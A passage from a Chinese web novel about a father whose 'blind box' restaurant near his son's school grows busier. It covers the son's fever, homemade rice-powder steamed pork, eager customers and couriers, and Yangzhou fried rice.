胡一齐他们在厨房内好一通忙活，终于将该留的饭菜留好，随即将剩下的饭菜端出来。 顾客们看到饭菜被端出来，立刻被那诱人的卖相给馋到：“我要一份红烧肉！” 红烧肉表面油亮通透，仿佛是瘦肉上覆盖了一层琉璃，看起来晶莹剔透。浓稠的汤汁裹在肉上，散发出酱香混着焦糖气息的香味，闻着特别诱人。 “怎么打啊？一份菜打多少？”胡一齐看到顾客们迫不及待要买饭，小声道。 叶其林：“我哪知道……” “我来吧。”邵言易看到他们都有点无从下手，之前在快餐店做过兼职的他直接戴好口罩，拿起勺子。 商时贸：“那我来打饭，你们负责收钱。” 分配好工作，四人开始行动起来，在邵言易的带动下，干得倒是有模有样。 “你们怎么在这？” 离放学还有十分钟左右时，班主任吕老师来到店中吃饭，看到打饭的不是楚易文，而是班上四个学生时，表情立刻严肃起来。 胡一齐：“老师你听我狡辩……听我解释。” 他们又不是无缘无故逃课，见他那么心虚，叶其林横他一眼后开口道：“老师是这样的，楚瑾钰突然发高烧了，我们轮流背着送他出来通知楚爸，楚爸带他去医院打针去了，店里没人看着，所以我们就留在这帮忙。” 这种情况也算情有可原，加上马上就要放学，吕老师念叨一句“帮忙也用不着你们那么多人”就没再说什么。 第74章 米粉蒸肉 由于今天少做一个菜, 加上还没放学就已经开始卖，等到放学铃声响起时叶其林他们几个早就把饭菜卖完，坐在位置上开始吃饭。 “也不知道楚瑾钰怎么样了……” 吃货如胡一齐, 此时咬着香喷喷的红烧肉还能想起楚瑾钰，可见平常闹归闹，二人感情是真不错。 叶其林：“也是奇怪，最近天气凉快了，没吹空调风扇，又没淋雨，他怎么会忽然发烧？” 生病这种事哪说得准, 他们讨论几句也没讨论出个所以然，店门口开始有大批学生进来。 胡一齐立刻被转移注意力，转头道：“没有菜了, 别再浪费时间排队。” “为什么啊？我好不容易今天那么快出来。” 学生们闻着店内浓郁的香味，再看桌上那红亮诱人的红烧肉、煎得表面金黄的家常豆腐、琥珀色的蜜汁排骨、翠绿与橙红色交织的韭菜炒河虾，只感觉每道菜都格外诱人。 胡一齐闻言赶紧解释一下原因, 大家得知老板儿子发烧，他送儿子去医院了, 自然不好再说什么。 于是除了那些喊家长帮忙的学生能有饭吃，其他学生只能带着失望从店里离开。 赵雨语：“哇，这个红烧肉真好吃，明明那么肥, 吃起来却是一点都不腻。” 红烧肉吃起来满口脂香，却是肥而不腻，让她头一次感受到肥肉能那么好吃。 赵老爷子听到孙女的话，赞同地点头：“确实好吃，炖得又烂又入味。” 软糯的肉皮, 入口即化的肥肉，以及酥烂不柴的瘦肉组成特别完美的红烧肉，哪怕牙口不怎么好的老年人都吃得动，同时吃得很香。 “这个豆腐也好吃，外焦里嫩。”赵老爷子夸完红烧肉又忍不住夸家常豆腐。 其实由于楚易文走得急，家常豆腐还差一把火候，只是普通人压根吃不出来那细微的区别，感受着家常豆腐浓郁的豆香，以及外焦里嫩，咸香可口的滋味，就感觉已经是美味。 红烧肉和家常豆腐不费牙，特别适合老人小孩吃，不光赵老爷子爱吃，店内老人们就没有不喜欢的。当然，糖醋排骨和韭菜炒河虾同样美味，一个酸甜开胃，一个咸鲜浓郁，好吃又下饭。 店内，顾客们享受着美味的午餐时，另一边，医院。 退烧针快打完时，楚瑾钰晕乎乎的脑子逐渐清醒过来，就发现自己坐在医院吊水大厅内。 他努力回忆，才想起来自己好像发烧了，先被邵言易他们背到医务室，又被他爸开车带到医院。 “爸……” “好点没？肚子饿不饿？”楚易文边说边伸手摸上他额头，感觉温度明显没那么烫。 楚瑾钰：“不饿，原来发高烧是这种感觉，有点神奇。” 他想到被邵言易他们背起来时整个人都晕乎乎的，好像被一层炎热的罩子罩起来的感觉，以及回过神来就在医院，感觉这个体验挺新奇。 “说什么胡话，生病有什么神奇的。”楚易文有些无语，如果不是看在他还病着的份上，都想在他脑袋上敲两下。 楚瑾钰倒不是觉得生病是什么好事，主要是他有记忆以来还没发过高烧，所以才会这么说。 等到针打完，楚易文本来准备直接带他回家休息，看到胡一齐发过来的消息，得知店里留了饭，想着回家再做饭也挺费时间，这才开往店铺那边。 此时学生们早就回学校上晚自习去，店内是黑漆漆一片，楚易文打开门带着儿子进来，将还在保温的饭菜和汤端到桌上。 楚瑾钰打完针烧就已经退了，但此时嗓子却有些不舒服，同时食欲受到影响，哪怕桌上都是他爱吃的菜，此时胃口却是不如平常。 实际上也就是面前摆的是他爸做的菜，不然他现在何止是胃口不如平常，怕是要直接吃不下饭。 楚瑾钰端着碗缓缓咬着糖醋排骨，那股恰到好处的酸甜口倒是让他食欲稍微恢复点。 “红烧肉就先别吃了，太油。”看出儿子食欲不如平常，楚易文说完望着桌上菜色道，“要不我再给你炒个青菜？” 楚瑾钰摇头：“不用了，这么多菜已经够吃了。” 父子二人吃完饭，楚易文收拾好东西就开车带他回家。 吃饱喝足，楚瑾钰精神明显恢复不少，透过车窗望着外面的夜景，想到不用上晚自习，心情还挺好。 到家后，楚易文本来想让他早点休息，然而楚瑾钰压根睡不着，由于没有把手机带回来，干脆窝在沙发里玩游戏机。 下午那会看到他烧得迷迷糊糊，可是把楚易文吓到，现在看到他还有精神玩游戏，楚易文可算是放下心来。 直到楚瑾钰玩了很久，楚易文才再次开口道：“还不去睡觉？” “平常这个时间我才刚下晚自习，睡不着。”楚瑾钰看了眼时间后说。 楚易文闻言，拿出体温计道：“那再量下体温。” 量过体温确定正常，楚易文没硬要他去睡觉，而是坐在沙发前看着电视，顺便将今天得到的顾客好评拿来抽个奖。 今天运气还行，除了抽到食材、菜谱外，还抽到刀工加五，他心里正满意时，大门口响起门铃声。 楚易文起身去开门，就看到是胡一齐他们，猜到必然是放学就立刻过来。 “你们怎么过来了？”楚瑾钰看到他们，直接放下手里游戏机。 胡一齐：“给你送手机，顺便看看你烧傻了没。” “你才傻了。”楚瑾钰接过手机没好气道。 看到他还能跟胡一齐拌嘴，商时贸觉得肯定没事，顿时就放下心来。 其实从医院离开后楚易文就在群里发了消息，告诉他们楚瑾钰已经退烧，但他们不放心，所以还是特意过来一趟。 “你们今晚就在家里睡吧，不过就先别跟楚瑾钰挤一个房间了，怕传染。”楚易文等他们聊得差不多时开口道。 明天叶其林他们还要上学，在楚易文提醒下，很快就去洗漱睡觉。 半夜，整栋房子都陷入黑暗和安静中时，楚易文起床来到儿子房间，又检查一遍他体温，确定没有再烧起来才离开。 次日早上，他起床就开始煮粥，又蒸了一笼莲藕肉包。 剁碎的莲藕配上肉末调成馅，不光口感清脆，而且很解腻，适合楚瑾钰这位刚发过高烧的病患吃。 “好香啊！” 胡一齐他们从房间出来时，就闻见蒸包子特有的香气，肚子瞬间咕噜咕噜叫起来。 “你们先吃，吃完好去学校。”楚易文看到他们过来，直接招呼几个孩子吃早餐。 胡一齐他们没客气，坐下来就迫不及待地开吃，莲藕肉□□薄馅大，那柔软蓬松的包子皮配上咸鲜可口的包子馅，简直不要太美味。 莲藕特有的清香和肉鲜味融合，不论是口感还是味道都特别好，好吃到令人上瘾。 “楚爸，楚瑾钰今天不上学吗？”三个包子下肚，胡一齐才有工夫问起楚瑾钰。 楚易文：“我跟老师请过假了，先让他在家里休息一天，要是没再发烧，明天再去上学。” 听到楚瑾钰今天可以在家里休息，胡一齐脸上露出羡慕的表情。 由于包子味道实在太好，他们早餐吃得很快，在他们吃饱准备去上学时，楚易文将一份早餐递过去：“带给邵言易同学，昨天真是麻烦他了。” “好的楚爸。” 叶其林怕胡一齐路上忍不住偷吃，抢在他之前接过早餐。 等他们到教室时，邵言易早就已经坐在位置上复习，叶其林走过去将早餐放到他桌上：“楚爸让我给你带的，说昨天麻烦你了。” 邵言易：“楚瑾钰没事吧？” “没事，已经退烧了，楚爸让他在家里多休息一天。”叶其林道。 听到同桌没事，邵言易放下心来，将那份早餐先收进课桌里，等到下早读才拿出来吃。 此时包子只剩下一点余温，但味道依旧特别香，明明是肉馅，吃起来却只有肉香并不油腻，咀嚼间莲藕特有的清香弥漫整个口腔，越吃越美味。 莲藕肉包太过美味，以至于邵言易都没舍得全部吃完，留了两个准备中午带回家给奶奶尝尝。 今天楚瑾钰不上学，楚易文自然不会去开店，他已经尽量在自己视频账号里发出通知，同时还让胡一齐他们帮忙跟班里同学说。不过等到中午饭点时，还是有不少顾客跑过来，直到发现今天不营业才失望地离开。 而楚家，楚易文在家也没闲着，由于昨晚学习了新菜谱米粉蒸肉，他今天自己在家动手做起米粉来。 大米和糯米按照二比一的比例准备好，起锅用小火慢炒，很快就有浓郁米香从锅里缓缓飘出来。 “爸，你在做炒米吗？” 楚瑾钰今天睡到九点多才醒，睡足觉的他精神看起来还不错，闻着味跑进厨房，看到锅里的米第一反应就是想到炒米。 “不是，在做米粉。”楚易文说话的同时手上动作没停，随着他持续性翻炒，锅里米被炒得微微变黄。 “米粉？什么米粉？” “蒸米粉肉的那个米粉。”楚易文解释完，往锅里加入几颗八角、花椒、桂皮，随着他继续翻炒，原本的米香里添上香料特有的复合香气，闻起来更加诱人。 “米粉肉，我们晚上吃米粉肉吗？” 以前奶奶在世时喜欢做米粉肉，楚瑾钰听见这道菜瞬间来了精神。 “你想吃我们晚上就吃。” 楚易文说完，等到锅里米炒好，放到旁边先晾凉，随即开始炒第二锅。等到米全部炒完，他拿着擀面杖开始将已经变成焦黄色的米全部碾碎。 楚瑾钰看到他爸轻轻松松地将米碾碎，还以为很容易，等到自己上手帮忙时，才发现挺费力气。 米粉全部做好，晚上吃肯定用不了那么多，楚易文用密封袋分装好，眼见时间已经不早，开始准备晚饭。 蒸米粉肉用肥瘦相间的五花肉最香，他拿出块五花肉切成厚片，处理好后加姜末、蒜末、生抽、老抽、料酒、五香粉等调料进行腌制。 肉腌制好，楚易文将五花肉放到米粉里滚上几圈，随即开始蒸制。在系统厨房里时，老爷子是教他用荷叶蒸米粉肉，这样蒸出来的米粉肉带着荷叶清香，闻起来很是清爽。 不过由于家里没有荷叶，加上听儿子怀念自己母亲的手艺，楚易文决定还是按母亲的做法来。 楚易文母亲以前做粉蒸肉都是用菜叶子打底，叶子上再铺点面条吸油，最后放上米粉肉开始蒸。 当蒸米粉肉的香味开始飘出来时，楚瑾钰闻着那股米香混着肉香的气息，脸上露出怀念的表情。 “好香啊……” 米粉肉还在蒸时就已经香气四溢，等到出锅，肉香、米香、五香料的气息融合成诱人的香味扑鼻而来，让楚瑾钰瞬间就食欲大开。 或许是考虑到他生病的缘故，除了米粉蒸肉看起来油润金黄，其他几道菜和午餐一样清淡。碧绿与嫩黄交织的丝瓜鸡蛋汤、翠绿可喜的清炒莴笋丝、鲜香美味的清蒸鳜鱼。 饭菜一上桌，楚瑾钰视线直接被米粉蒸肉给吸引，在他爸动筷后，立刻握着勺子直接盛了几勺到碗里。 米粉蒸肉卖相看起来特别诱人，米粉吸收肉汁后变成漂亮的琥珀色，同时五花肉油脂的滋润，让它带着油润光泽，不像蒸之前那么干巴。 “好好吃！”楚瑾钰迫不及待尝了一口，五花肉肥而不腻，米粉绵软香糯，咀嚼间那股颗粒感越嚼越香。 米香和肉香在嘴里弥漫开来，配上香辛料的气息，简直是人间美味，让他吃得停不下来。 跟外面买的米粉比起来，楚易文自制的米粉米香更加浓郁，同时新鲜大米和糯米组成的口感吃起来特别香。 楚瑾钰很快吃完碗里的米粉蒸肉，带着意犹未尽的表情继续伸出筷子，这次却不是为了夹肉，而是伸到最底下，挖出垫底的面条。 面条被蒸熟后吸收五花肉多余的油脂，同时染上米粉和菜叶的清香，吃起来柔软不失韧劲，他小时候就很爱吃，以至于奶奶每次做米粉蒸肉时，都会特意把面条夹给他。 “爸，你做的米粉蒸肉和奶奶一样好吃。”楚瑾钰咽下嘴里香喷喷的面条夸道。 楚易文：“别光吃米粉肉，其他菜也吃点。” 米粉蒸肉好吃是好吃，毕竟是五花肉蒸出来的，哪怕他手艺再好，这道菜油水依旧不少。平常无所谓，现在儿子刚生完病，饮食上还是清淡点比较好。 楚瑾钰点头答应，然而吃两口清蒸鳜鱼后，又忍不住朝米粉蒸肉下筷子。 米粉蒸肉不光肉好吃，米粉更是格外香，软糯咸鲜，单吃好吃，配米饭同样很香。 可能是有米粉蒸肉的缘故，楚瑾钰晚上胃口特别好，配着米粉蒸肉连吃两碗饭不说，还喝了一碗汤，吃完撑得坐在椅子上都不想动弹。 食欲好说明身体没问题，楚易文看到他吃饱了撑着的状态，彻底放下心来。 收拾好碗筷，在儿子开始打游戏时，他起身去书房顺手将炒米粉蒸米粉肉的视频剪出来发出去。 【我今天好不容易有空，结果你竟然不营业，简直可恶！】 【米粉蒸肉！我爱吃这个！明天店里有卖不？有的话我请假也得过去吃！】 【我去，竟然连米粉都是自己炒的，这米粉蒸肉看着就好吃，可惜我离云市太远了，不然高低得去尝尝。】 【啊！原来这个米粉真的是用米做的啊，我小时候一直好奇来着。】 【隔着屏幕就有被馋到，看起来好好吃的样子……】 【这年头竟然还有人做米粉蒸肉亲自炒米粉，那我得去尝尝！】 视频刚发出去，立刻炸出来好多评论，有人被米粉蒸肉给馋到，有人震惊于楚易文竟然不是买现成的米粉来蒸，还有人则是已经开始查地图，打算亲自过来尝尝。 高三阶段学习还是挺紧张的，休息一天确定楚瑾钰没什么事后，他明天肯定要去上学。 不过楚易文是有点惯孩子的天赋在身上的，没让楚瑾钰按照正常时间去学校，而是让他多睡会，吃完早餐赶在第一节课前去学校。 楚瑾钰到教室时，班上同学看到他都忍不住发出欢呼。 “太好了！中午又可以去盲盒餐厅吃饭了！” 楚瑾钰刚开始还以为是自己人缘好，听到他们是为了想吃他爸做的饭才那么高兴，忍不住撇撇嘴。 “你没事吧？”邵言易想到前天他烧迷糊的样子，见他那么快就来学校，不由关心道。 楚瑾钰闻言，顿时觉得还是自己同桌人比较好：“没事了，那天谢谢你了。” “你没事就好。” 不光同学们看到他发出欢呼，接下来各科老师到教室来上课时，看到他都忍不住问两句。 显然，随着楚易文在学校外开店，楚瑾钰在学校更加声名鹊起，几乎所有人都是他家店的潜在顾客。 他回学校开始上课后，楚易文自然要重新营业，采购完食材就带着自己昨天做的米粉来到店内。 昨天在家做米粉蒸肉时，楚易文是按照以前母亲的做法，今天在店里他却是换了种做法，由于买到荷叶，他今天准备用荷叶铺底，再放土豆在下面吸油。 米粉蒸肉那股特殊的香气很有辨识度，当厨房里香味源源不断飘出去时，附近店铺里的老板立刻猜到是什么菜。 “太香了，自从隔壁店开业后，感觉我从早到晚都开始盼着吃饭……”文具店王老板闻见香味，忍不住自我吐槽。 他说完，在发现已经有人到隔壁排队时，赶紧从自家店里出来，生怕晚了买不到想吃的菜。 “是米粉蒸肉的香味，老板今天果然做这道菜了！” 王老板听到前面那位顾客的话，好奇道：“你怎么知道他今天会做米粉蒸肉？” 在王老板看来，盲盒餐厅简直店如其名，你根本不知道每天会做什么菜。 “你没刷到他昨天发的视频吗？昨天他在家做米粉蒸肉了，而且米粉还是他亲自动手炒的，看着就好吃。” 在这位顾客兼粉丝的分享下，不少原本只是单纯被香味吸引过来，并不知道楚易文还是视频创作者的人纷纷拿出手机关注他账号。 “我还以为米粉蒸肉只能去买现成的米粉，没想到竟然还能自己炒，他做菜是真讲究，怪不得那么好吃。” “是啊。” 店门口的顾客们看完他最新那条视频，感叹的同时有被馋到，喉咙不停吞咽起来。 伴随学校铃声响起，楚易文将大门打开，大批顾客瞬间就涌进来。 油润金黄的米粉配上琥珀色五花肉，整道菜看起来光亮而诱人，排在最前面的顾客强忍着才没直接朝菜伸手，而是赶紧说出自己要吃的菜。 点完单，在楚易文握着勺子打饭菜时，前面的顾客才想起来关心一句：“老板，你儿子没事吧？” “没事，已经回学校上课了。” “那就好，希望他身体健康，别再生病。”顾客送出发自内心的祝福。 “谢谢。”楚易文道谢完，就看到自家儿子和许多学生一起从门口跑进来，看到他那生龙活虎的模样，觉得年轻人身体就是好，恢复得快。 可能是由于昨天没营业的缘故，今天外来顾客比前些日子略少些，学生们见此心里很高兴。 排队的学生们正心情愉悦时，楚瑾钰望着今天的午餐忍不住道：“怎么又是这些菜……” “这菜还不好？你不行去食堂吃两天，就知道这菜有多好了。”胡一齐觉得他真是好日子多久了，忘记当初吃食堂的日子。 楚瑾钰当然不是嫌他爸手艺，而是：“我不是说这菜不好吃，而是太清淡了。” 松仁玉米、番茄炒蛋、白萝卜烧鸡翅、豆腐酿肉、米粉蒸肉、冬瓜排骨汤。五菜一汤，一道辣菜都没有，对楚瑾钰这个无辣不欢的人来说，总感觉缺点什么。 商时贸：“你生病才好，楚爸不做辣菜也正常。” 第75章 扬州炒饭 楚瑾钰嫌菜色清淡了些, 店内其他顾客却是爱得不行，哪怕和他一样喜欢吃辣的顾客，在美味的诱惑下都没觉得有哪里不好。 “唔, 这米粉蒸肉太好吃了，尤其是米粉，油润却不腻，米香混着肉香和调料香，简直绝了！” “不愧是老板自己炒的米粉，蒸出来就是香，好好吃啊！” 今天这几道菜里, 香味最霸道的就数米粉蒸肉，顾客们基本上都是先吃它，简直被那软糯咸鲜的滋味给惊艳到。 米粉蒸肉不算什么稀罕菜色, 但平常可没几个人会从炒米粉做起。油润饱满的米粉蒸肉口感特别有层次感，米粉和肉单吃都很香，混在一起吃更是美味, 肉和米粉是两种不同的软糯，同时米粉的颗粒感, 简直越嚼越香。 由于今天楚易文用了荷叶，米粉蒸肉中还带着淡淡荷叶香，余味特别悠长，底下吸油用的土豆同样美味, 吸收油脂变得香甜粉糯。 “这是什么神仙米粉蒸肉，好吃到我都有点想哭！” 顾客们发出夸张的声音，直把还在排队的学生给馋得不行，可怜巴巴望着前面，希望自己能买到午餐。 “好耶！”终于排到最前面的学生见还有米粉蒸肉, 下意识发出欢呼，随即赶紧选择自己想吃的菜。 说实话，如果不是没那么多钱，她真想每个菜来一份，而不是像现在一样，只能纠结地选择两个菜。 买好饭，在近距离闻见扑鼻而来的菜香时，她边找座位边往嘴里塞口米粉蒸肉，眼睛瞬间就亮起来。 真的好好吃！ 加香料炒出来的米粉带着五香气息，但香辛料的只是为它增鲜，米粉本身的米香并没有被遮盖，咀嚼间浓郁的米香、香辛料的复合香加上肉香，每一口都是享受。 “爸，你慢点吃。”悦悦看到她爸那狼吞虎咽的吃相，觉得他都没有好好品尝。 “早饭没吃，饿了。”悦悦爸爸咽下嘴里喷香的米粉蒸肉，又补充一句，“而且我吃完还得给你妈送饭。” “嗯？妈妈让你给她送饭？那你干嘛不过去和她一起吃？” 悦悦说完，眼见她爸快要把米粉蒸肉吃完，赶紧用勺子往自己碗里盛一点。 “太香了，根本忍不住，没事，你妈下午两点才上班，我吃完再过去也来得及。”悦悦爸爸道。 其实悦悦妈妈本来不想麻烦自家老公，可禁不住他和女儿天天在家里夸盲盒餐厅有多好多好吃，她实在好奇。 最后那点米粉蒸肉悦悦都舍不得直接吃，拌进米饭里，看着原本白米饭变成白色和金色交织，边吃边感叹这颜色漂亮。 今天不光米粉蒸肉好吃，其他菜同样美味，白萝卜烧鸡翅里萝卜咸鲜中带着甘甜，鸡翅软嫩脱骨；番茄鸡蛋颜色特别漂亮，嫩黄与红色交织，组成一幅诱人的画卷，吃起来更是酸甜与咸鲜达成完美平衡，开胃又可口；松仁玉米清甜中带着坚果特有的香气…… 悦悦吃得头也不抬，从一顿午饭中吃出幸福的味道。 不光是她，店内其他顾客脸上表情都带着陶醉，显然在盲盒餐厅里，用餐已经不仅仅是为了填饱肚子，而是对美食的享受。 最后一口汤下肚，悦悦爸爸打了个饱嗝，脸上露出满足的表情。 “你慢慢吃，我去给你妈送饭。” 极致的美食体验令他心情愉悦，也不觉得去给妻子送饭很麻烦，反而很想看看妻子被午餐惊艳到的模样。他跟女儿说完，拎着提前打包好的饭菜开车前往妻子公司。 公司那头，悦悦妈妈已经下班，收到老公发过来的消息这才起身下楼，在附近便利店外面的休息处坐下来。 “今天有你喜欢吃的米粉蒸肉，我听人说，连蒸肉的米粉都是老板亲自动手炒的，味道特别好。”悦悦爸爸边说边将餐盒盖子打开，浓郁的饭菜香瞬间飘出来，他闻着都觉得又馋了，更别说还没吃饭的悦悦妈妈。 “好香啊！比我公司附近卖的饭菜香多了！” 闻着那股令人食欲大振的香味，悦悦妈妈迫不及待拿起筷子，同时眼睛扫过面前饭菜，觉得不光是香，卖相同样很诱人。 菜就不说了，就连米饭看着都粒粒分明、晶莹剔透，散发着浓郁米香，瞧着就是用好米蒸出来的饭。 今天这几道菜都偏家常，但卖相和香味却比很多餐馆做的要诱人很多，她端起碗先吃口米粉蒸肉，瞬间有种眼前一亮的感觉。 米粉蒸肉她从小到大吃过不知道多少次，但嘴里这口还是惊艳到她，那绵软香糯的口感，恰到好处的咸鲜，简直挑剔不出任何毛病。 米粉由于是炒出来的，除了米香外还带着淡淡焦香，五花肉瘦肉部分酥烂软糯，肥肉部分油脂被蒸出来融进米粉里，吃起来肥而不腻，完美诠释了什么叫“粉糯鲜香、肥而不腻、瘦而不柴”。同时垫底的土豆吃起来更是粉粉糯糯，土豆吸收油脂，带上肉香的同时染上荷叶清香，让它吃起来格外香甜。 “是不是很好吃？”悦悦爸爸看到她不自觉加快的进食速度，问完有被馋到，没忍住直接上手捏了块五花肉塞进嘴里。 长时间的蒸制让五花肉完全没有肥腻感，哪怕空口吃都不觉得油腻，咀嚼间陷在肉里的米粉特别有颗粒感，吃完还令他有些意犹未尽。 “你不是已经吃过了……” 悦悦妈妈边说边把菜往自己面前拉，显然是被好吃到忍不住护食。 “看你吃把我又搞馋了，这家老板菜做的是真好。”悦悦爸爸发出感叹。 悦悦妈妈已经沉浸在美味的午餐中，闻言点点头就继续大口吃起来，米粉蒸肉脂香四溢，萝卜烧鸡翅咸鲜醇厚，松仁玉米清甜爽口，番茄炒蛋酸甜开胃，豆腐酿肉外焦里嫩，就连冬瓜排骨汤都格外鲜甜。 如此美味的午餐，让她下班后的等待都变得特别值得，她越吃心情就越愉悦，上班带来的疲倦和班味，直接被美食驱散。 “林姐，你这是在那家买的饭？看起来好好吃啊！” 有个同事来便利店买水，被香味吸引就看到是她在吃饭，忍不住走过来询问。 悦悦妈妈见是同事，咽下嘴里饭菜后开口：“在我女儿学校那边买的，我女儿天天夸好吃，我就让我老公买一份来给我尝尝，味道确实好。” “你老公对你真好。”同事发出羡慕的声音，在看到菜的卖相时，哪怕知道学校离公司很远，还是问了下店铺具体名字。 悦悦爸爸看出她好像准备去吃，好心提醒：“那家店菜卖的很快的，得提前过去才有饭吃。” “没事，我可以叫个跑腿帮忙买。”同事道。 本身就有个别学生花钱请跑腿帮忙买饭，托悦悦爸爸妈妈的福，今天下午店外跑腿小哥又得多一个。 不过对帮学生们买饭的跑腿小哥们来说，这单子接得还挺爽，买完不用跑，原地等顾客就行，就是由于餐厅里饭菜实在太香，他们代买的同时往往忍不住给自己买一份，最终赚的代购费还不够这顿饭吃的。 “再多接几次盲盒餐厅的单子，我这个月饭钱就要超支了。” 几个跑腿小哥聚集在店门口闲聊时，其中一位忍不住道。 “你忍住别在这吃饭不就好了。” “这话说得，那么诱人的饭菜香，好像你能忍住一样。” “我忍不住，我也不忍，你是没见学校里多少学生想吃都吃不着，我宁愿每天多跑两个小时，也得把饭在这给吃了。” “主要他家不光好吃，食材还新鲜，卫生更是没得说。” “确实，这家店老板跟他儿子自己都吃，绝对不用担心有什么问题。” 他们闲聊间，越来越浓郁的香味从门缝里钻出来，大家立刻嗅着香味猜测起晚餐的菜色来。 “晚上应该有鱼，我闻见鱼鲜味了。” “还有牛肉香，应该有牛肉。” 顾客们鼻子还挺灵，晚上楚易文炖了鱼汤，还做了西兰花炒牛肉、梅菜扣肉、地三鲜、香菇滑鸡、韭菜炒蛋。 随着大门打开，跑腿小哥们生怕买不到饭菜，抢着往里钻。当然，跑归跑，他们还是很有眼力见的，可不敢去推挤那些老年顾客。 成功买到饭菜，骑手们拎着袋子等在门口，等到顾客时将其中一份交出去。 “谢谢。”拿到晚餐的学生笑着道谢，表情看起来那叫一个开心。 而才发现还可以找跑腿代买的学生则是露出懊恼的表情，随即询问跑腿小哥：“你好，你手里那份饭卖吗？” 如果不是盲盒餐厅所有菜限购两份，跑腿小哥倒是愿意多买点在校门口转卖，但现在，他犹豫两秒还是拒绝。 跑外卖还是挺累的，偶尔犒劳一下自己，能令他心情愉悦，这是钱换不来的东西。 “靠，你们运气真好，竟然只用送到校门口，为什么我就得跑那么远……” 接到送往公司订单的跑腿小哥看着同行们，发出羡慕的声音。 跑腿代购的人已经蔓延到几公里外的公司，由此可见，盲盒餐厅的顾客群体真是越来越多。 楚易文看看手底下已经卖出去一大半的饭菜，再看看店内越来越多的顾客，不得不再次开口提醒：“后面的别排了，已经没多少菜了。” 他话落，部分已经习惯的学生倒是还好，要么发出失望的声音离开，要么不死心地留在原地继续排队。而通过视频或者朋友口中来到店里的顾客，直接带着几分抱怨道：“老板，你就不能多做点吗？” “是啊，我不急，可以等的。” “老板你看看现在才几点，哪有像你这样做生意的。” “老板求求你了，你多做点吧，我专门开车过来的。” 没吃到他家饭的顾客不光线下求他，线上更是不放过他。 下午卖完饭回家，楚易文无聊刷一下自己的视频，就发现视频底下又多了好多评论，评论区他们真是什么话都敢说。 【老板求求了，明天能不能多做点菜？我朋友脑残晚期，临终前就想吃一次你家饭。】 【老板，我被人绿了，马上就要离开云市这个伤心的地方，走之前我就想吃一下你家饭，希望你能满足一下我这个愿望。】 【你知道开车一个多小时却没吃到饭是什么心情吗？老板你明天最好多做点饭，别逼我跪下来求你。】 【老板别听他们的，做人要坚持自我，反正我吃不到，其他人也别想吃到。】 【就是，老板你最开始可是拍视频的，做人不能忘本，还是回来专心拍视频吧，开店可以，除非到我家楼下来开。】 【云市就是个美食荒漠，我不信你做的菜真有那么好吃，除非你到我这来开家店。】 楚易文刚开始还能左耳朵进右耳朵出，被顾客线上线下的催，到底还是没扛住，答应会稍微再加点每天的分量。 当然，同时他也表示自己就一个人，不可能满足所有顾客的需求，让粉丝们太远的话还是不要特意过来，免得失望。 * 转眼又到周六，今天对于高一、高二学生们来说，简直是扬眉吐气的日子。前面几天他们由于要上学，根本抢不过外面那些顾客，除非找家里人帮忙买，否则就吃不到。 但今天！放假的他们直接早早来到学校，在店铺门口坐成一排，边打游戏边等待午餐时间的到来。 “嘿，这帮学生真是……” 文具店王老板看到学生们十点不到就过来，而且人越来越多，担心午餐会吃不到，赶紧从店里出来。 店外已经聚集好多学生时，店里面的厨房中，楚易文正在做炒饭。是的，今天午餐吃扬州炒饭加香菇鸡汤，简单又有营养。 鸡是他早上特意去码头菜市场那边买农家散养走地鸡，现杀的活鸡拿来炖汤特别鲜，汤里除了鸡和香菇，还稍微加了点红枣，炖出来散发出浓郁鲜香。 随着那个超大砂锅里汤被煮得发出“咕噜咕噜”声，鸡肉鲜味混着干香菇特有的浓郁菌香以及红枣淡淡的甜香一起飘出来，那股温暖诱人的气息，令人食欲大开。 “好饿啊……” 放假期间，不少学生都没有吃早餐的习惯，此时闻见鸡汤的鲜味，肚子直接咕咕叫起来。 “我也好饿，不知道今天中午有什么好吃的。” “一股浓郁的鸡香味，中午肯定有鸡吃。” “周六太好了，可以早点过来等饭吃，可惜周末店里不营业。” “要是高三周末也上课就好了，这样周末也能有饭吃。” “你听听你在说什么恶毒的话，别忘了，我们也是要上高三的……” 周末也要上课什么的确实挺恶毒，幸好学校内那帮高三学生们没听见这话，不然他们的怨气绝对能冲死人。 “我去，今天怎么那么多人！还都是学生！他们不上课吗？” “你傻了，今天周六。” 由于学生们有空提前来排队，今天店外人特别多，楚易文还在厨房里忙活时，外面已经至少有五十多号人在提前等着。 厨房内。 由于炒饭对楚易文来说简单快速，他今天食材是真没少准备，炒完一锅立刻开始下一锅。 热锅冷油，他先用中火快速将鸡蛋液炒至半凝固状态，随即倒入米饭，他快速几个翻炒，让每粒米均匀裹上蛋液。 在系统厨房里反复地学习，让他已经能很熟练地炒出漂亮的“金包银”，随着他将火由中转大，米饭在高温下变得更加干爽，甚至有米粒在锅里跳跃。 楚易文做的扬州炒饭食材特别丰富，不光有鸡蛋，还有鸡肉丁、胡萝卜丁、火腿丁、玉米粒、香菇丁、黄瓜丁和虾仁。 其实本来还该放青豆，但由于他家儿子不爱吃这玩意，他便用黄瓜代替青豆。 又一锅炒饭出锅，粒粒分明的金包银米饭配上粉红色虾仁、翠绿色黄瓜、橙红色胡萝卜、亮黄色玉米粒、褐色香菇、白色鸡肉、红色火腿，色泽明亮诱人，看着就令人食指大动。 炒饭时楚易文放了点猪油，猪油和蛋香融合在一起，配上浓郁米香以及其他食材的香味，组成一股鲜香不失清爽的浓郁香味。 他还在不停做炒饭，店外顾客们闻着越来越诱人的香气，口水都快流下来。 “香死人了！” “放学铃怎么还没响？我要被馋死了……” 扬州炒饭的香味不霸道，却是有种越闻越勾人心魂的诱惑，持续的香味让排在最前面的学生们连游戏都没心思再继续打，纷纷站起来盯着店内。 别说学生们，就连年纪比较大的顾客闻见源源不断飘出来的香味，都有些迫不及待。 盼望着，盼望着，放学铃声终于响起，将最后一炒饭盛出来，楚易文终于打开店门。 “叔叔，今天中午吃什么？” 由于楚易文是学校家长的缘故，不少学生都喜欢喊他叔叔而不是老板。 “中午吃扬州炒饭和香菇鸡汤。”楚易文说完已经站回保温柜后面开始打饭。 吃炒饭还挺方便，他直接打就行，效率都比平常更高。 第一个学生买好饭，左手端着色泽明亮诱人的扬州炒饭，右手端着热腾腾的香菇鸡汤，在扑面而来的香味诱惑下，没忍住直接低头对着炒饭咬上一口。 籼米做出来的扬州炒饭粒粒分明，鸡蛋的鲜味渗入米中，吃起来格外鲜香，同时丰富的配菜为炒饭增加口感，吃起来咸鲜浓郁。 黄瓜、胡萝卜、玉米的清甜脆爽，香菇的柔韧鲜香，虾仁的弹嫩，火腿的咸鲜，鸡肉的鲜嫩，以及米饭本身的香味，简直就是人间美味。 这是炒饭？ 